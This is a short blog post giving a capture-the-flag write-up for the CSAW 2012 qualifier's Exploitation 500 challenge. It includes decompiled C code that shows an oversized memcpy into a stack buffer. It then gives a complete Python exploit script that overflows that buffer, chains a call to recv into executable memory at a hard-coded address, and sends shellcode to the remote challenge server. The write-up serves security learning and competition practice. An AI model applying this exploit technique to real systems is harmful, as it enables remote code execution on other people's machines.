Tuesday, October 2, 2012

CSAW CTF Quals: Exploitation 500

This challenge was basically a trivia game where it asked you a question and you could get it right or wrong. If you got it wrong it would ask you the question again and you could overflow a buffer on the second send. For the life of me, I cannot figure out a good reason for them to be copy the number of bytes received from a large buffer into a smaller buffer, but they do it. So when they copy everything in the second question, we can just overwrite the return address of this method. The relevant code is shown below.
char buf[76];
char last_buf[0x28];
char huge_buf[0x400];

num_recvd = 0;
num_recvd = recv(fd, &buf, 0×7Cu, 0);
addn(&buf, num_recvd);
v6 = v(&buf);
if ( v6 == 1 )
{
  win(fd);
  close(fd);
  exit(0);
}
lose(fd);
sques(fd, 2);
num_recvd = recv(fd, huge_buf, 0×400u, 0);
addn(huge_buf, num_recvd);

// This is the important line
memcpy(&last_buf, huge_buf, 4 * ((unsigned int)num_recvd >> 2)); 

v6 = v(&last_buf);
if ( v6 == 1 )
{
  win(fd);
  close(fd);
  exit(1);
}
return lose(fd);

After that it was a simple ROP-style attack where we called recv to a RWX section of memory located at 0x0804B000. Send in some shellcode and win! Our winning python script, win.py, is shown below.
import socket, binascii, time

def recv(s):
        print s.recv(1024)

def endian(s):
 if len(s) < 8:
  s = s.zfill(8)
 return s[6:8]+s[4:6]+s[2:4]+s[0:2]

def int2hex(integer):
 if integer < 0:
  integer = 0xFFFFFFFF+integer+1
 return hex(integer)[2:].zfill(8).strip('L')


s = socket.socket()
#s.connect(('10.19.0.29', 12345))
s.connect(('128.238.66.213', 12345))

recv(s)
s.send('A'*0x7B+'\n')
recv(s)

sh = open('payload').read()

win = 'a'*60
win += binascii.unhexlify(endian('08048760')) # Address of recv
win += binascii.unhexlify(endian('0804B000')) # Return address from recv
win += binascii.unhexlify(endian(int2hex(4))) # Put our fd on stack
win += binascii.unhexlify(endian('0804B000')) # Put address to recv to on stack
win += binascii.unhexlify(endian(int2hex(len(sh)+1))) # Length of recv
win += binascii.unhexlify(endian(int2hex(0))) # recv flags
win += '\n'

print win, len(win)
s.sendall(win) # send our payload
time.sleep(1)
s.sendall(sh+'\n') # send our shellcode to the recv we set up


  -- suntzu_II

No comments:

Post a Comment